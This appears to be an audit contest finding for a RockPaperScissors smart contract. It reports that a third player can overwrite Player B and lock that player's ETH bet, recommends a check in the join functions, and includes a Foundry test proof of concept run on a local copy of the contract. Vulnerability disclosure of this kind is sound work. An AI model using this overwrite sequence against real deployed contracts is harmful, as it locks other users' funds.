Submission Details
Severity:
Possibility to overwrite `Player B` leads to loss of funds
Description and Impact
User 1 execute RockPaperScissors :: createGameWithEth
User 2 execute RockPaperScissors :: joinGameWithEth to join the game created by User 1
User 3 execute RockPaperScissors :: joinGameWithEth to join the game created by User 1 too
-> User 3 can overwrite User 2 who already joined the game and can permanently lock User 2's bet .
User 1 execute RockPaperScissors :: cancelGame to cancel the game created earlier
-> The RockPaperScissors will refund only User 1 and User 3 if User 1 sees that something is not right and want to cancel the game .
All happens within the first 24 hours from the game creation .
The creator of the game ( User 1 ) can cancel a game even if another user joined the game .
When a game is cancelled, the RockPaperScissors will refund both Player A and Player B .
Recommended mitigation
Verify if a user already joined the game within both joinGameWithEth and joinGameWithToken
PoC
How to execute the PoC ?
-
Create a
Foundryproject with everything needed -
Add the PoC in
test/TEST.t.sol -
Execute the PoC using the command
forge test --match-path test/TEST.t.sol --match-test test____ -vv
// SPDX-License-Identifier: MIT
import { Test } from "lib/forge-std/src/Test.sol";
import { console } from "lib/forge-std/src/console.sol";
import { RockPaperScissors } from "src/RockPaperScissors.sol";
import { WinningToken } from "src/WinningToken.sol";
contract Tests is Test {
struct Smart_Contracts {
RockPaperScissors RockPaperScissors;
WinningToken WinningToken;
}
Smart_Contracts SC;
struct User {
address A;
uint256 PK;
}
struct Users {
User Owner;
User User_1;
User User_2;
User User_3;
User User_4;
}
Users U;
mapping(address => string) private name;
function test____() public {
( U.Owner.A , U.Owner.PK ) = makeAddrAndKey("Owner");
( U.User_1.A , U.User_1.PK ) = makeAddrAndKey("User 1");
( U.User_2.A , U.User_2.PK ) = makeAddrAndKey("User 2");
( U.User_3.A , U.User_3.PK ) = makeAddrAndKey("User 3");
( U.User_4.A , U.User_4.PK ) = makeAddrAndKey("User 4");
name[ address(0) ] = "Address 0";
name[ U.Owner.A ] = "Owner";
name[ U.User_1.A ] = "User 1";
name[ U.User_2.A ] = "User 2";
name[ U.User_3.A ] = "User 3";
name[ U.User_4.A ] = "User 4";
vm.startPrank(U.Owner.A);
SC.RockPaperScissors = new RockPaperScissors();
SC.WinningToken = WinningToken(SC.RockPaperScissors.winningToken());
vm.stopPrank();
name[ address(SC.RockPaperScissors) ] = "RockPaperScissors";
name[ address(SC.WinningToken) ] = "WinningToken";
AIRDROP____ETH(U.User_1.A, 1 ether);
AIRDROP____ETH(U.User_2.A, 1 ether);
AIRDROP____ETH(U.User_3.A, 1 ether);
vm.startPrank(U.User_1.A);
SC.RockPaperScissors.createGameWithEth{value: 1 ether}(3, 5 minutes);
vm.stopPrank();
{
space();
BALANCE_OF____ETH("User 1", U.User_1.A);
BALANCE_OF____ETH("User 2", U.User_2.A);
BALANCE_OF____ETH("User 3", U.User_3.A);
BALANCE_OF____ETH("RockPaperScissors", address(SC.RockPaperScissors));
space();
(
address playerA,
address playerB,
,,,,,,,,,,,,,
RockPaperScissors.GameState state
) = SC.RockPaperScissors.games(0);
console.log(getName(playerA));
console.log(getName(playerB));
console.log(uint256(state));
space();
}
vm.startPrank(U.User_2.A);
SC.RockPaperScissors.joinGameWithEth{value: 1 ether}(0);
vm.stopPrank();
{
space();
BALANCE_OF____ETH("User 1", U.User_1.A);
BALANCE_OF____ETH("User 2", U.User_2.A);
BALANCE_OF____ETH("User 3", U.User_3.A);
BALANCE_OF____ETH("RockPaperScissors", address(SC.RockPaperScissors));
space();
(
address playerA,
address playerB,
,,,,,,,,,,,,,
RockPaperScissors.GameState state
) = SC.RockPaperScissors.games(0);
console.log(getName(playerA));
console.log(getName(playerB));
console.log(uint256(state));
space();
}
vm.startPrank(U.User_3.A);
SC.RockPaperScissors.joinGameWithEth{value: 1 ether}(0);
vm.stopPrank();
{
space();
BALANCE_OF____ETH("User 1", U.User_1.A);
BALANCE_OF____ETH("User 2", U.User_2.A);
BALANCE_OF____ETH("User 3", U.User_3.A);
BALANCE_OF____ETH("RockPaperScissors", address(SC.RockPaperScissors));
space();
(
address playerA,
address playerB,
,,,,,,,,,,,,,
RockPaperScissors.GameState state
) = SC.RockPaperScissors.games(0);
console.log(getName(playerA));
console.log(getName(playerB));
console.log(uint256(state));
space();
}
vm.startPrank(U.User_1.A);
SC.RockPaperScissors.cancelGame(0);
vm.stopPrank();
{
space();
BALANCE_OF____ETH("User 1", U.User_1.A);
BALANCE_OF____ETH("User 2", U.User_2.A);
BALANCE_OF____ETH("User 3", U.User_3.A);
BALANCE_OF____ETH("RockPaperScissors", address(SC.RockPaperScissors));
space();
(
address playerA,
address playerB,
,,,,,,,,,,,,,
RockPaperScissors.GameState state
) = SC.RockPaperScissors.games(0);
console.log(getName(playerA));
console.log(getName(playerB));
console.log(uint256(state));
space();
}
}
function BALANCE_OF____ETH(
string memory i_Who,
address Who
) private view {
console.log( "" );
console.log( string( abi.encodePacked(
" Balance of ETH for " , " ` " , i_Who , " ` "
) ) );
console.log( "" );
console.log(
formatTokenBalance( address( Who ).balance , 18 )
);
console.log( "" );
}
function AIRDROP____ETH(
address Who,
uint256 Amount
) private {
vm.startPrank( Who );
deal( Who , Amount );
vm.stopPrank();
}
function getName(
address addr
) private view returns (string memory) {
return name[addr];
}
function formatTokenBalance(
uint256 rawAmount,
uint8 decimals
) private pure returns (string memory) {
string memory amountStr = vm.toString(rawAmount);
uint256 amountLength = bytes(amountStr).length;
uint256 integerPartLength;
if (amountLength <= decimals) {
string memory result = "0.";
for (uint256 i = 0; i < decimals - amountLength; i++) {
result = string(abi.encodePacked(result, "0"));
}
result = string(abi.encodePacked(result, amountStr));
return result;
} else {
integerPartLength = amountLength - decimals;
bytes memory amountBytes = bytes(amountStr);
bytes memory integerBytes = new bytes(integerPartLength);
for (uint256 i = 0; i < integerPartLength; i++) {
integerBytes[i] = amountBytes[i];
}
bytes memory fractionalBytes = new bytes(decimals);
for (uint256 i = 0; i < decimals; i++) {
fractionalBytes[i] = amountBytes[integerPartLength + i];
}
return string(abi.encodePacked(
string(integerBytes),
".",
string(fractionalBytes)
));
}
}
function space() private pure {
console.log( "" );
}
}
Updates
Appeal created
m3dython 4 months ago
Submission Judgement Published Assigned finding tags:
Absence of State Change on Join Allows Player B Hijacking
Game state remains Created after a player joins
Rewards breakdown
nSLOC
349This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.